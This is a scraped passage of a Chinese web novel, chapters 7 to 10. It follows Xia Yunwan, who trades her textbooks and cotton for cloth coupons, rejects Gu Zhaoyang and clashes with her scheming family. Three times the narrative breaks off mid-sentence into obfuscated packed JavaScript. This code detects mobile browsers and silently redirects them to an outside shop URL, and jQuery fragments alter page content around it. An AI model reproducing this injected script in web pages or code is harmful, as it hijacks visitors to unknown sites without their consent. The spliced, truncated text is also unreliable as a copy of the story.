她这话当时顾朝阳只以为是在害羞，现在回想一下，怎么好像纯粹就是在敷衍自己呢？ 亏他还在这儿巴巴等了一小时！ 越想越气，同时，又有些不安。 顾朝阳想了想，转头朝着夏云婉的学校走去。 可学校已经放了假，他确定夏云婉没有去忙学校的事情，回去的时候，顾朝阳还专程路过了一下俩人去过的公园，依旧没人。 在外面晃悠了一个小时后，顾朝阳愈发郁闷的回了煤矿厂，还差点因为迟到被扣工资。 可也因此，顾朝阳错过了找过来的夏云朵。 夏云朵拎着饭盒到煤矿厂时已经将近一点了，没办法，她不太认识郊区的路，公交车坐过站所以多绕了两圈。 但好在她提前安排了夏宝金去绊住夏云婉，今天夏云婉肯定是不能来了。 等会儿见了顾朝阳，就说她来替夏云婉送饭，顺便再把夏云婉有婚约的事情也告诉顾朝阳，将来自己来煤矿厂工作了，俩人接触的机会就更多。 可夏云朵找了一圈，也没能找到人，煤矿厂门岗也问了，只说顾朝阳不在。 等人的功夫，过往的工人没少朝着夏云朵看。 他们各个五大三粗，把夏云朵看得心里有些发毛，而且她也要脸面，等了半小时后，无奈之下先回了家。 就这么一来二去，俩人阴差阳错的岔开了。 等夏云朵到了家后，已经快要傍晚了。 想到这一趟跑空了，她心里就难受的紧。 难道说俩人另有见面地点？ 可就算有，顾朝阳总得去煤矿厂吧，她多等了十分钟，也没等到人回去…… 夏云朵盯着夏云婉住的那间隔板房，强忍了很久，才忍住没去敲门。 7. 第 7 章 “夏云婉不在家，你瞪门有屁用，都怪你出的馊主意！！！” 夏宝金从面刚到家，看见夏云朵就冲过来扬手要打人。 这一拳头重重落在夏云朵的胳膊上。 “你害我泼了一身的粪水！！你故意出这种招数来害我，我下次再也不相信你了！” 夏云朵吃痛的揉着胳膊，推开夏宝金，“咋回事儿，你没拖住夏云婉就算了，怎么还弄自己一身粪水，你别过来，我闻着你身上现在好像还有味儿。” “我洗过了！”夏宝金气不过，又要上前打人，“都怪你，我恨你，女的都不是好东西，你跟她一样故意的！” “滚蛋！我还烦着呢！” 夏云朵可不像夏云婉，直接一胳膊推了上去，把夏宝金推到了地上。 她没想着真对父母这个宝贝疙瘩下重手，也不敢，摔倒这一下不知是她不小心手重了，还是夏宝金自己故意的。 可这一幕恰好被进门的夏贵仓看见，夏宝金哇的一声哭出来就扑到爸爸身上告状。 “大姐让我去找二姐的麻烦，现在没成功，我倒了霉，她还要推我！” 夏云朵站起来，指过去：“爸，是他先锤我的！” “行了！” 夏贵仓护着夏宝金到身后，瞪了一眼夏云朵：“这两天你净给我找事儿，我刚下班路上就被街道办拦了，说让我教育咱家孩子，宝金小不懂事儿，你怎么越长大也越不懂事了？” “爸！” 夏云朵委屈死了，她比夏宝金委屈多了好不好！ 今天跑空了，回来挨弟弟打，又要被夏贵仓训斥。 这一天简直是她夏云朵这辈子里最郁闷的一天！ “行了，你妈还在外面清理凉棚呢，你要是不想帮忙，就去做饭去。” 躲在夏贵仓身后的夏宝金得意的露头，冲着夏云朵吐舌头。 夏云朵咬咬牙，转身去了厨房。 要是搁在从前，做饭的活儿怎么也轮不到她啊！ 这个该死的夏云婉，下午到底又去哪儿了，总不会真是偷偷去找顾朝阳约会了吧？！ 越想越气，夏云朵做饭时候不小心又摔了碗，又挨了夏贵仓两句责骂。 夏云婉进家属院的时候，恰好听见，她瞥了眼，皱着眉转头先去了趟郭大娘家里。 跑了一下午，夏云婉这才算是彻底明白，这年头计划分配，光有钱也不好使，还得有票据兑换才能买到东西。 得怪她从前确实没怎么看过年代类的小说故事，偶尔看那么几本，知道有黑市存在，可如今也才七十年代初期，黑市严打，她这样的新手根本搞不来布票。 西城没有百货大楼，供销社布票又紧俏，想要票据，只能从熟人关系下手，看能不能换来一些。 “郭大娘，我这不是刚毕业，屋里头有四年八个学期的课本，我看您孙子马上要上中学了，到时候肯定能用到，您要是需要，我打折扣跟您换东西怎么样？我对课本很爱惜，包的书皮都还完好无损，上面的笔记也很全，您要不要考虑下？” 这年头书本算是金贵物件了，一学期一块钱的课本费，八个学期八块钱，这也不是个小数目。 郭大娘琢磨了一下：“你要换什么？” “布票。” “呦，你这要结婚了，家里爸妈也没给你做新衣服？” “准备了，但是给夏云朵拿去做被面了。” “脸皮真厚，她又不结婚，她做个屁的被面。” “她说以后也要结。” 郭大娘心疼的又多看了一眼夏云婉，“你多少卖？” 夏云婉伸了个手，“算五块，你看值多少布票，拿差不多的量换，对了，还送您三四本草稿本，我要是在家，您家孩子有不懂的问题，也可以随时来问我。” 五块算是正常的二手课本价格了。 家里孩子多的，一般都会把课本留给弟妹往后接着用，一轮又一轮下来，用过两三轮的五手课本，有的还要卖四块钱呢。 “成，你去收拾吧，我去给你找票，咱纺织厂的工人，家里咋地也不能缺这玩意，你家也真的，不过我也没那么多，只能给你两尺，不够了你再想法儿凑凑。” “诶，谢谢郭大娘，我去搬书。” 夏云婉转头进了屋里，将课本整理出来，还把自己用剩下的铅笔也一并塞到了旧报纸里面。 “你干嘛呀！”夏念金匆匆赶来。 “拿去换票啊。” “啥？可爸妈不是说要留着我明年用吗，你拿走了我用啥？” “你用你血脉至亲的呗，夏云朵的可没卖呢。” 夏念金被噎住，着急又道：“我不用她的，我就用你的，你的还有笔记，到时候让宝金用她的。” “晚了，已经卖出去了。” 夏云婉说着，想起什么来，从兜里摸了摸，摸出两颗水果糖。 原身身上还有以前上学家里给的粮票，还能买点吃的。 “诺，这个是答应了给你，挺甜的，揣着吧。”夏云婉说着把糖塞到夏念金的手里，自己转身搬着书去了郭大娘那儿。 可两尺的布票哪里够。 要做一身新衣服，保底最少也得八九尺。 反正以后她也不打算回来了，这夏家，她是一点后路都没准备给自己留。 想了想，夏云婉又进屋把原身冬天的破棉袄破棉被给搬到了大院里。 “来看一看啦，清仓大甩换，反季大处理，里头的棉花折价换布票，物超所值，绝对划算！” 这年头私人万万不能说买卖，但以物换物还是可以的。 这些棉花凑一凑，不行了还有上面那些破旧灰布，也能折换。 棉花是稀缺货，夏云婉这边摊开才喊了两嗓子，院儿里就有人围了过来。 “云婉丫头，你要布干啥？” 夏云婉也不瞒着：“家里给我说了个婚事，马上要见人了，总得有身齐整的穿，家里没给我准备，我自己想想办法。” “啧，你们家那爸妈啊……” “说起来我都快忘了，你们家咋回事儿，到底谁是你妈的亲闺女来着？” 夏云婉把被面里的棉花都翻了出来，一边说：“亲不亲的有啥关系，反正该准备的还是没准备，姨，你看看这棉花，潮是潮了点，回头遇到好天气了找人重新弹弹，跟新棉花一样。” 有好奇的，也就有真需要的。 “你打算咋卖？换多少布票？”对门邻居东东妈走过来摸了半天问道。 “我这棉被薄，拢共也就四斤的棉花，也不是新棉，咱们还是邻居……姨，我折扣给您打到底，您要爽快点，一斤您给我两尺半的布，咋样？” “是挺划算，只是……” 夏云婉想了想，又说：“这还有两件冬衣带棉花呢，您瞧着拿呗，这被子里的也可以分成几份。” 闻言，东东妈跟另外有意向的商量了一下，俩人一共要了四斤的棉花。 “你们干啥呢？这不是我家的棉被吗。”张艳红刷凉棚回来，仔细辨认了一下，又看到夏云婉摆的摊，着急的冲过去想把已经分成两半的被子抢回来。 棉花多难弄啊，一床被子那可是能盖一辈子的，谁家会闲的没事儿卖棉花。 “干啥啊，这是我们买的，你再扯就是抢劫了！” “就是，我们都给过布票跟钱了！” 张艳红见抢不过来，气得又冲到夏云婉面前，“你想翻天是不是？！好好的又闹幺蛾子！家里都被你霍霍成什么了！” 夏云婉收好布票，这才道：“谁家结婚不得穿身新衣裳，家里没有，我还不能自己想办法了。” 郭大娘磕着南瓜子跟几个人凑到旁边，“是啊艳红，我瞧着你家二丫头挺有脑子的，这她既然都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923882|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要结婚了，棉被以后也用不太着，卖了也不妨事。” 张艳红：“站着说话不腰疼！她不用别人还要用，夏云婉你现在把家里棉被都敢卖了，我看你以后是不是敢把人都给卖了？！” 夏云婉叹了口气，“您不就是准备把我给卖了吗，不然也不至于连新衣裳都不给我买，妈，您还是歇会儿吧，您看我爸都不管。” 夏贵仓刚才也只是出来看了一眼，嫌夏云婉丢人，哼了一声进屋了。 不过这笔账，后面肯定会再算到张艳红身上。 算就算吧，这么多年，原身替张艳红扛了那么多事儿，又是带孩子又是洗衣做饭做家务的，原身心疼张艳红，她是心疼不来一点的。 至于夏云朵就更不敢吭气儿了，这大庭广众的，要是夏云婉直接把替婚的事儿嚷嚷出来，她计划全都要泡汤。 张艳红左右看看，又是脸上挂不住，又是心疼家里棉被，吵嚷起来，还吵不过夏云婉，最后脸黑着冲到了家里，气得进门就摔了水桶。 夏贵仓一听也恼了，“你摆脸色给谁看？你教育出来的闺女，看看都成什么样子了，咱家脸面算是丢尽了！” 张艳红也委屈，眼圈都红了：“我还替宝金刷了一天粪水，那会儿也不见你在家了，这事儿云婉有错，但她有句话没错，归根到底，还不是夏云朵闹得，你惯的云朵脾气跟大小姐一样，还不让人说了！” 夏贵仓一开始还有些理亏，但张艳红说多了，他又恼羞成怒，“怎么了？我自己闺女我乐意惯着，你要是看不下去，滚回你娘家去，别在我家里住！” 张艳红：“现在说让我滚了，让我做饭让我生儿子的时候就知道说好话了，用人朝前不用人朝后，夏贵仓，你要不要脸！别以为我不知道，今天周末厂里根本没活儿，你肯定又是去防空洞那边打牌去了，那天给我惹急了，我……” ‘啪’的一声夏贵仓把桌子给掀了，“你再敢多说一句，我让你好看，狗日的我看你是欠打。” “打啊！！这个家我看是没法儿过下去了！” 是没法儿过了。 夏云婉站在门口，瞧着俩人吵的翻天覆地，侧着身溜边回了自己屋里。 反正她是觉得没法儿过，等陆家来人带她走，她在外面找了工作就不打算回来了。 可张艳红那肯定是气话。 原身记忆里，这俩人也没少吵架，吵到最后狠话都放了一个遍儿，第二天还不是该干嘛就干嘛。 进了屋，夏念金托着腮帮子坐着，埋怨道：“都怪你，他俩又吵成这样，不过……也怪夏云朵。” “可最主要的还是怪他们自己。”夏云婉算了算手里的布票，一边道：“他们俩自己乐意把日子过成这样的。” “……听不懂。” “听不懂拉倒，反正人想过什么日子，不能一味只埋怨他人。” 夏念金沉默了一会儿，眼睛有些发亮，“是不是跟你这样，不埋怨，直接做？” 夏云婉多看了她一眼，“算是。” 晚上是夏云朵做的饭，红薯稀粥，一碟子酱油拌干菜，张艳红气得没出来吃晚饭，但夏贵仓倒是照旧喝了两碗。 第二天一早，张艳红照旧还是做了饭去送俩孩子上去。 夏云婉则揣着布票去了供销社。 有布票也容不得挑，除了劳动布，就只有斜纹蓝底的棉布，夏云婉要了第二种，裁了七尺装好，还余下三尺留着没花完，她想着攒攒了再说买第二身。 她喜欢漂亮，喜欢打扮，哪怕是站在讲台上，她的着装端庄的同时，她也乎尽量装点个胸针。 不上班日常穿的衣服就更多了，各种风格各种颜色，她都喜欢尝试。 “夏云婉！” 路过小巷，有人突然走了出来，挡在了夏云婉的面前。 顾朝阳上前两步，“你这几天干什么去了？我都急死了！” 8. 第 8 章 顾朝阳昨天没有见到夏云婉，连上工都有些失神。 就连晚上睡觉的时候，翻来覆去，脑子里都是那天夏云婉看向自己时淡漠的眼神。 不能呀，夏云婉对自己肯定是有感情的。 要不然怎么会连着几天去跑到郊区给自己送饭。 而且他也不是什么愣头青，在乡下也处过对象，女同志要是不乐意，能这么关心对方嘛！ 可…… 可夏云婉这次也不能连个信儿都没有就直接不来找自己吧。 其实要真说起来，顾朝阳也不见得就多么喜欢夏云婉，但她将来也要进煤矿厂，家里还是县城的户口，对他来说，是目前最好的选择。 说不定是被什么事儿绊住了。 翻腾到半夜才睡着的顾朝阳，第二天醒了就直接请假来蹲守夏云婉。 顾朝阳本来以为自己来的够早了，谁知道没等到夏云婉出门，反而等到了夏云婉回家。 她一早就出去了，也不知道干了什么，看方向，肯定不是去煤矿厂的。 不过…… 隔了一段距离，顾朝阳也明显感觉到了今天的夏云婉跟之前很不一样。 同样的穿着，那是因为这是她仅有的两身衣裳之一。 可头发却被夏云婉盘了起来。 她五官从小就能看出来十分精致，只是长大后因为发型缘故都被遮掩住了。 现在夏云婉额头厚重的刘海被收了起来，明朗的眉眼便一下子展露出来，唇瓣微红，也比从前多了几分血色，整个人气质明媚娇俏，平生出一种让人想要忍不住亲近的感觉。 这还是夏云婉吗？ 她这两天到底做了什么？ 未知带着极大的不安全感，顾朝阳莫名多了几分火气。 “有事儿也不知道跟我提前说一声，我等了多久你知道吗？！” 夏云婉刚开始有些诧异，但想想也不算意外。 顾朝阳是清秀一些，但也够不上英俊，家里条件也不好，想要找个比夏云婉背景好的城里女同志本就有难度，尤其是找一个像夏云婉这样好哄好忽悠的，更是难上加难。 她看着顾朝阳因为说话喷出来的唾沫星子，冷静的往后退了半步，“关我什么事儿，我为什么要提前跟你说？” 顾朝阳一愣，“咱们提前约好的啊。” “你记错了。” 她当时可没承诺过要明天见。 是了。 顾朝阳回神，眼神闪过一丝慌乱，随后也顾不上生气了，连忙语气温柔笑道：“刚才是我着急了，声音有些大，没有吓着你吧，我也是太担心你了，云婉，咱们中午要不……” “能不这么喊我吗？”夏云婉打断了他：“咱们关系也没有那么亲近，还是喊同志比较好。” “同、志？” “嗯。” 顾朝阳忽然再次上前，“你这是什么意思，咱们之前难道不是都说好了吗？” “谁跟你说好了，说好什么了，你是不是小学上课没认真听讲，说话用词可以准确一点吗？” 顾朝阳不认识夏云婉一样，仔细打量了她两眼。 但眼前的，确实也还是夏云婉没错。 “云婉，你之前不是还给我送饭，关心我，那天我都跟你告白了，是不是我哪点没做好，惹你生气了，还是那天吓到你了，你要是觉得我唐突，我也不是那么着急的！” 夏云婉点了点额头，纤细的手指在空中划过一个好看的弧度，“不好意思，差点把这事儿给忘了，顾朝阳同志，我正式答复你，你的告白我拒绝，我不喜欢你，一点也不。” “……” 顾朝阳沉默了，良久，再开口声音有些沙哑，“为什么这么突然，之前……” “之前是感谢你在学校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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在周围人诧异的侧目中，顾朝阳转身。 一定是夏云婉！ 她后悔了，还可能是来给自己道歉的。 但为什么上午要拒绝自己？也许是没想通，现在回家想好了，她肯定还是需要自己的。 只是…… 顾朝阳发现见到的人不是夏云婉。 “你好，我叫夏云朵！” 夏云朵跟夏云婉没有半点相像的地方，无论是长相还是性格。 夏云婉是漂亮的，不说话的时候，虽然沉闷，那双眼睛却也依旧明媚，没有了发丝遮挡，眉眼间舒展开，像是路边盛放的野花。 夏云朵也是好看的，但相比较起来，免不得有些寡淡，眉目清浅，但说话声音总是很响亮。 “可能你没有见过我，但之前我看到我妹妹给你送过吃的，我……我妹妹觉得这里的工作太辛苦了，所以把工位给了我，下个月我就来上班了，到时候咱们就可以经常见到，你是不是在这里总吃不饱，放心，我以后可以从家里带饭过来。” 一番话说下来，顾朝阳虽然对夏云朵的好意不明所以，但简单聊了几句后，他就发觉了夏云朵对自己的好意，并非止于此。 她……难道对自己有意思？ 想到这里，顾朝阳扬了扬脖颈，略显得意。 姐妹相争，这简直是对他魅力的最大肯定！ “那夏云婉呢？”聊了一会儿，顾朝阳开始主动出击：“她没有工作，不是得下乡吗，确定好去哪儿了没有？” “你还挺关心她的，但我看她好像并不怎么在意你，在家里也没提过你。”夏云朵故意道。 顾朝阳：“也不算关心吧，只是好奇，毕竟我跟她以前是同学，想知道她以后的去处而已。” “她要结婚了，不会下乡的。” “什么？” 顾朝阳手里的筷子掉下去了半根，他拿起来擦了擦，仍旧还有些恍惚：“结婚？怎么这么突然？” 算下来，他跟夏云婉，也就三天前都还在黏黏糊糊说着明天见，怎么就突然要结婚了？ 怎么想，顾朝阳怎么觉得不对劲，甚至还觉得自己是被夏云婉利用了，很可能她才是吃锅望盆的那个。 顾朝阳带着怒气：“那男的是谁？” “……家里之前给定下来的娃娃亲。”夏云朵遮掩着：“咱们要不还是别聊她了，反正她结婚后就会离开，以后很少有机会再见面。” 可顾朝阳却跟没听见一样：“娃娃亲？以前怎么没听夏云婉说过？” “她也是突然知道的。” “那对方条件肯定不错，我看她是个老实的，原来这么的现实，你还没说那男的是谁，夏云朵同志，我……” 话说到一半，顾朝阳转头才察觉到夏云朵神色不对。 “咳咳，夏云朵同志，不好意思，我刚才情绪有些激动。” 夏云朵抿了抿嘴，语气酸溜溜的：“你们俩之间是什么关系，她要结婚你这么激动。” “普通朋友。”顾朝阳愣了愣，解释道：“我是太意外了，她要结婚，我还是要恭喜她的，难道你妹妹结婚你不激动高兴吗？” 夏云朵还是很好对付的，也许是怕顾朝阳真的生气，三两句话就给顾朝阳糊弄了过去。 顾朝阳也察觉到了夏云朵对自己微妙的态度。 如果单纯只是有好感也正常，可夏云朵话里话外，几乎带着讨好他的意思。 这就有些奇怪了。 仗着这一点，顾朝阳后面还是从夏云朵的嘴里又问出了一点夏云婉的消息。 原来是一个军人，还是要远嫁到贫瘠的海岛上去。 如果是这样，兴许是被家里逼迫的也说不定。 想来想去，顾朝阳总觉得自己应该再见夏云婉一面，他想问个清楚，如果是被家里逼迫的，那他心里还好受一些，如果不是…… 反正他想要再见一见夏云婉，尤其是想到她今天那样决绝的拒绝自己，转头又要结婚，而且可能很久都不会再见。 顾朝阳心里就跟猫爪子在挠一样，一下下的。 不疼，但却痒得厉害。 - 夏云婉手工活儿其实还不错。 她在现代是跟着爷爷奶奶长大的，家里条件并不算好，尤其是小时候，袜子破洞裤脚磨破都是常有的事儿。 为了省点钱不用买新的，奶奶都会尽量给她把能缝制的衣服重新缝好。 虽然只有爷爷奶奶，但夏云婉其实被养的很好。 知道小女孩儿爱漂亮，上学了也要面子，朴素了一辈子的奶奶都会跟着别人学些好看的花样。 有卡通小人，有各种花草，破旧的衣服经过缝制装点，反而还成了她在学校里炫耀的事情。 “云婉，昨天我就瞧你这裤脚上修的花瓣好看，原来是你自己下的手呀，我还以为你妈给你缝的呢。” 郭大娘家里，三四个婶子阿姨坐在一起，桌上放着针线筐。 郭大娘瞥了一眼说话的：“二蛋他妈，昨儿张艳红那样子你又不是没瞧见，她那心思都偏到姥姥家了，二丫头这裤脚我看都破一个夏天了，也就昨儿才给缝上的。” 夏云婉笑笑解释：“这不是昨儿才有钱买线嘛，王姨，你说你要绣哪个地方来着？” 夏云婉说着，将手里一件秋衣递过去，王姨给指了指，是在胸口那个位置。 院儿里以王姨为首的还有两家，都是看中了夏云婉的手艺，来找她给缝补衣服的。 一个要绣上去一朵桃花，一个要绣个笑脸。 作为交换，她们几个帮着一块儿给夏云婉用新布料裁制一身新衣裳。 夏云婉会绣花样，却不会做衣裳，更不会用缝纫机。 没办法，在现代，家里再难，也就是衣服破洞了，做衣裳的时代，她奶奶说她没赶上。 不过世事难料，现在她这不还是赶上了。 毛纺厂家属院里会做衣服的人不少，找合作社的裁缝最少也得收个四五毛的手工费，这样交换一下技能，也能省下一笔钱。 夏家虽说同意了把彩礼钱给她，可满打满算也就两百块。 将来她去了海岛跟陆霖川退婚，原书中陆霖川虽明说了彩礼当做悔婚的赔礼，但夏云婉也不确定自己这一次过去，面临什么样的结果。 哪怕是陆霖川真的不会往回要彩礼钱，在工作没到手之前，夏云婉也不可能真的就大手大脚，坐吃山空。 能省则省，五毛也是钱。 前两天夏云婉出乎意料的大闹，明显在夏家起了作用。 今天一整天，夏云婉在家里不论做什么，哪怕下午在大院里跟人聚在一块儿说夏宝金的坏话，夏家愣是没有人来敢跟夏云婉唱反调的。 直到傍晚，夏云朵回家。 “夏云婉！” 夏云朵语气有些冲。 夏云婉手里是最后一件需要她缝补的衣裳，刚进门就看见夏云朵气势汹汹站在前面。 “有事儿？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923884|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她轻飘飘的开口，并不像从前那样看到夏云朵，眼里只有闪躲跟害怕，反而坦然自若。 夏云朵愣了一下，一瞬间，泄了气。 是呀，眼前这个夏云婉跟以前完全不一样了。 现在夏云婉是咬人的兔子，跳墙的狗。 于是梗在夏云朵喉咙里的一句话，犹豫了半天，语气柔和了许多才说出口：“你……你到底之前有没有谈过对象？” 为什么今天她去找顾朝阳，两个人话里话外的说了一个小时，话题最后全都能扯到夏云婉身上！ 他俩关系不是一开始没这么好吗？！ 而且俩人应该也还没到处对象这一步吧！ 她还记得上一世刚死那会儿，还瞧见顾朝阳因为夏云婉死板无趣，跟厂子里的其他女同事打情骂俏呢。 现在面对着自己这样一个知情识趣的女人，怎么顾朝阳还句句不忘夏云婉。 “跟你有关系吗？”夏云婉好奇的看了眼夏云朵。 夏云朵咬咬牙：“当然有了，你现在有婚约在身，我得确定你之前到底有没有过什么不正当的关系，我得为陆家负责呀。” “你负责你嫁过去呗。” “……” 奶奶的，夏云婉就会用这句话堵自己的嘴！！ 但这句话就是好使。 夏云婉看着夏云朵憋闷的表情，抿着嘴要走。 夏云朵：“等会儿，那你什么时候跟我去换工位？爸现在生气不管这事儿了，况且临时换人也得走关系，你得直接跟我去找主任签个字转让一下。” “等彩礼钱什么时候全部拿到手，我就跟你去。” “那就明天下午。”夏云朵迫不及待道：“明天就是跟陆家约好的时间，她家应该一早就来人，下午咱们去签字，行不行？” “嗯，拿到钱我立刻去。” 说话间夏宝金夏念金也放学了，夏念金一眼看到了夏云婉手里的衣服。 “二姐，这是谁的？” “王姨家二闺女的，我帮着缝一下。” 夏念金好奇，凑过去看了一眼，又看到了下面的布料。 “呀，二姐，你手里这边角布料好眼熟啊，像是之前上学路上在供销社门口看到的那批新布料，粉白碎花底子的，妈说棉布少有这样式，可好看了。” 张艳红也扬起下巴看了一眼。 可不就是嘛，因着花样好看，一尺的价格比普通窄幅布贵了一毛八分钱，这一身衣裳下来，将近贵出来两块钱了。 张艳红没忍住：“没见过世面，有钱了就知道乱花，我瞧你还找人帮忙做衣服，想着你还知道过日子，有耐穿的老式布不买，买这玩意，我看你要是有工业票，的确良的都敢买！就冲你这个花法儿，去了婆家早晚得挨打！” 有的确良的，夏云婉还真会买。 的确良花样多颜色鲜亮，比着老棉布好看多了。 她是个有规划的，但她就是爱漂亮爱打扮，该省的地方省，喜欢的事情上，她都尽量不委屈自己。 夏云婉从夏念金手里抽走布料：“这点边角料本来还想着给念金做个袖套冬天戴，妈，既然你这么嫌弃，我看还是算了，留着我自己缝个袜子穿得了。” 夏念金一听急了，“别呀二姐，我要我要，你别搭理咱妈，她吃不着葡萄说葡萄酸呢，二姐……” 话没说话，夏云婉已经进了屋。 门‘砰’的一声关上，夏念金懊恼的回过头，但看到张艳红黑青的脸色，这才意识到自己说错了话，连忙低下头顺着墙角溜去了厨房。 10. 第 10 章 别说夏念金了，就是两辈子为人的夏云朵都眼红。 原本张艳红是答应了给她做一床新被面外加一身新衣裳的，现在陆家预先给的彩礼钱都到了夏云婉手里，她现在连个零用钱都没了。 不过没关系，忍一时之痛，将来自有大好的日子等着自己。 两天后，顾朝阳就会因为意外救下掉进煤矿洞的厂长，不出一个月，顾朝阳就能被厂长调到车间当主任，自己抢在这之前先跟顾朝阳确定下来关系，然后就能跟上辈子的夏云婉一样走关系，从车间转到办公室上班。 这样自己有本事拿工资，还有个当主任的对象，到时候别说棉布了，她想买布拉吉都有可能弄到！ “大姐，你气傻了？” 夏宝金看见夏云朵脸黑一会儿红一会儿，又是恼火又是傻笑的，好奇的开口。 “去去去，小屁孩儿，懂什么！”回过神，夏云朵推开了夏宝金。 夏宝金脾气大，但也懂察言观色。 他很清楚现在家里夏云婉是不好惹的，但夏云朵因为让爸爸生气，是个能随便招惹的。 “哼，我还不知道你，大姐，你也眼红了呗！” “我眼红什么，她那些破玩意儿算啥，将来我能有比她更好的，而且，以后说不定她还要来求我……” 陆霖川是什么德行，那是个冰块、不！那是个冰山！是生气起来不说话都让人害怕的狼狗！ 她这样要强的性子还能在陆霖川眼皮子下面混个结婚证，夏云婉能吗？ 等夏云婉去了，要么跟自己一样为了脸面豁出去了，要么就得被陆霖川给赶回来。 到时候彩礼要如数被那个恶婆婆给要回去，她连个落脚的地方都要没了！ 就算夏云婉有本事扯了证，那岛上的日子可难过着呢，台风、缺水，连拉屎的茅坑都得跑老远，还有个平日里脸黑的像阎王爷的男人在家里，一个刁钻古怪的养子…… 这日子，夏云朵回想起来都还觉得像是噩梦，忍不住哆嗦了一下。 夏念金看张艳红去摘菜了，这才又溜到了屋里，看见夏云朵，忍不住戳了戳夏宝金：“诶，你说大姐是不是脑子被二姐气的得幻想症了？那个词叫啥来着，精神分裂？” 夏宝金瞪大眼睛观察了一下大姐，煞有介事：“说不定还真是，我听广播里面说，人受了刺激就容易脑子出问题。” 夏云朵当然听见了这些话，有些恼火瞪了一眼夏念金。 夏云朵：“念金，你天天跟夏云婉睡在一个屋子里，应该是咱们家跟她关系最好的了，她一下子得了那么多钱，还大手大脚的，就没给你点好处？要是给了你可不能藏着，拿出来咱们亲姐弟几个分一分呗。” 夏念金扒拉扒拉自己的衣兜：“没有，这里头比脸都干净。” 夏宝金却一下子被挑拨到了，拉住了夏念金的胳膊：“大姐说的对，刚才我还听见二姐说原来是准备给你做个袖套呢，你俩晚上天天嘀嘀咕咕的，肯定给你好处了！好啊，我被她欺负，怪不得你在旁边看热闹呢！快拿出来！” “说了没有就是没有，她差点连我的铺盖都给卖了，怎么可能给我好处，你别拽我！” 夏云朵抿嘴笑起来，让你刚才说我坏话，活该！ 夏云朵心满意足甩手进了卧室，这对双胞胎却吵得不可开交。 “夏念金，你还是不是我姐了！有钱不给我花，还跟二姐一起欺负我！” “我有钱凭什么一定给你花，其实咱俩都一样大，我凭什么一直都要让着你！” “就凭我是弟弟！” “那我还是妹妹呢！” 都是八九岁的孩子，家里这年纪的吵起来很正常。 但今儿夏宝金先动手拉了夏念金，夏念金本来就发育的比他个子高半头，再加上力气又大，俩人争吵急了撕打起来，最后吃亏的反而是夏宝金。 夏宝金被夏念金推倒在地上，还没爬起来呢，夏念金就直接坐了上去，拿起旁边的鸡毛掸子就照夏宝金屁股上抽。 “好呀，那你喊我姐，我就是长辈，我教训你也是理所应当！” 夏宝金一开始还想挣扎，发现根本挣扎不动，扯开嗓子哇哇大哭起来。 动静把张艳红给引了过来，进门一看，连忙推开了夏念金，然后抱着儿子到了旁边。 张艳红少有的瞥了一眼抱着胳膊，站在卧室门口的夏云朵，语气不善：“你个当大姐，看见弟妹打架也不知道给拉开，宝金真出了事儿，你爸也饶不了你。” “他俩打跟我又没关系。” “有关系！”夏念金抹着眼泪，吸溜着鼻涕：“大姐非说二姐给我钱了，宝金才相信然后跟我打的，我根本没有钱。” “你有，你就是有！！妈，你替我报仇，要不替我要钱，呜呜呜，我也要打夏念金的屁股！” 张艳红习惯性的没去再管夏云朵，而是又瞪了一眼夏念金，“你少说两句吧，把弟弟打成这样我还没跟你算账呢！” 夏念金委屈不已：“可我也他挠了一胳膊的血印子，妈你偏心，你就是偏心！” 眼瞧着宝金被张艳红抱在怀里哄，自己则站在旁边孤零零的，夏念金莫名想起了夏云婉的那句话。 “我不偏心，就事论事而已，你俩都是我的孩子，你身为姐姐……” “妈，你说我的名字为什么要叫念金？”夏念金忽然开口。 张艳红有些不耐烦：“当然是因为你弟弟叫宝金，你的名字就顺着叫下来了，还是你爸给取的，又咋了？” 夏念金：“人家都说这个名字不像女孩儿的名字，我……我想改名！” “你怎么也越来越不懂事儿了？念金有什么不好的，将来长大了，有好事儿也多念着你弟弟，当姐姐的都是这样……” “哇”的一声，夏念金再也绷不住哭了出来。 张艳红一个头两个大，吵嚷完这个还得安抚那个，如今没了夏云婉帮忙照顾孩子，她想喊夏云朵，夏云朵也早就躲了出去，一直闹到夏贵仓回家把所有人都大吵了一顿，家里这才安静下来，可夏贵仓一生气，整个家氛围又顿时压抑了不少。 还好最多再待两天就要走了。 夏云婉在屋里打了个哈欠，手指摸了摸耳朵，把手上那件衣服最后一针给绣好，等吃饭的时候，这才出去。 夏云婉本以为能安安稳稳的渡过今晚，可夏宝金是个记吃不记打的，瞧见她去换衣服，又看见她那块儿新布料，跟张艳红又闹了一通，因为怕吵起来夏贵仓又发火儿，张艳红这次也不惯着宝贝儿子了，看着他在地上打滚哭闹非要穿新衣服，张艳红一巴掌打了上去，世界总算清净下来。 “二姐，我今天发现，爸妈他俩好像是真的不在乎我，我……我像是个多余的，当初妈那一胎如果只生了宝金，他们可能更高兴，姐，我也不想在这个家里待了，我想离家出走……” 